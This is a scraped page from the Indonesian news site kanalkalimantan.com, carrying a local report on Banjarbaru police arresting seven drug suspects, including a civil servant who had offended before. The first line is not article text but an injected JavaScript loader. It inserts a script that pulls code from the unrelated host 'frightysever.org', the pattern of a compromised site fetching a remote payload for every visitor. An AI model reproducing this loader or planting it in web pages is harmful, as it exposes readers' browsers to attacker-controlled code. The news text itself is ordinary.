(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Keberhasilan Satuan Reserse Narkorba Polres Banjarbaru dalam mengungkap 5 kasus tindak pidana narkotika dalam kurun waktu dua hari, mengungap fakta baru. Salah satu pelaku yang diamankan, rupanya berstatus Aparatur Sipil Negara (ASN) berdinas di Pemkot Banjarbaru.
Kapolres Banjarbaru, AKBP Kelana Jaya melalui Kasat Resnarkoba, AKP Elche, membenarkan bahwa pihaknya mengamankan oknum PNS yang diketahui berinisial MRP.
“Benar, salah satu pelaku yang kita amankan merupakan oknum PNS. Saat ini masih kita kembangkan untuk mengungkap siapa pemasok sabu-sabu tersebut dan jaringan diatasnya,” katanya kepada kanalkalimantan.com, Rabu (2/10).
Ditambahkan Kasat Resnarkoba, oknum PNS tersebut merupakan residivis yang mana sebelumnya pernah ditahan karena kasus yang sama. “Informasi yang kami terima sudah pernah terjerat kasus yang sama. Jadi, MRP merupakan residivis,” lanjutnya.
Tentu, terungkapnya oknum PNS yang mengkonsumsi narkoba menjadi tamparan keras bagi Pemko Banjarbaru. Apalagi, selama ini Pemkot terus menerus menggelorakan upaya pemberantasan narkoba.
Baca Juga : BNNK Banjarbaru Gandeng Kelurahan Percepat Rehabilitasi Pecandu Narkoba
Seperti halnya saat acara bersama BNN, dimana Sekda Banjarbaru, Said Abdullah, menegaskan bahwa Pemkot sudah berkomitmen mendukung BNN dalam setiap programnya. “Bisa dilihat dari penyediaan sarana prasarana serta SDMnya, kami juga membantu pelaksanaannya di lapangan melalui Lurah dan camat yang ada. Tidak hanya itu, seluruh SKPD kami pun berkomitmen memback up tugas BNN,†katanya beberapa waktu lalu.
Rabu (2/9) malam, Kanalkalimantan mencoba mengkonfirmasi Walikota Banjarbaru, Nadjmi Adhani, terkait tindak lanjut dari Pemkot terhadap PNS yang bermasalah tersebut. Namun, hingga kini belum ada balasan dari Walikota Banjarbaru.
Baca Juga : Dua Hari, Polres Banjarbaru Ungkap 5 Kasus Peredaran Narkotika
Seperti yang diberitakan sebelumnya, MRP ditangkap bersama 6 pelaku lainnya karena kasus tindak pidana Narkotika. Ke 7 pelaku ini, masing-masing ada yang diringkus sendiri-sendiri. Adapula yang ditangkap berdua.
Kasubbag Humas, AKP Siti Rohayati mengayakan pihaknya mengamankan seluruh barang bukti narkotika jenis sabu-sabu dari para pelaku. “Total barat bukti sabu-sabu, berat bersih mencapai 0,53 gram. Saat ini masih dilakukan proses hukum lebih lanjut,” pungkasnya.
Selain barang bukti sabu-sabu, pihak kepolisian juga mengamankan barang bukti lainnya seperti motor dan telepon genggam. (Rico)
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
This website uses cookies.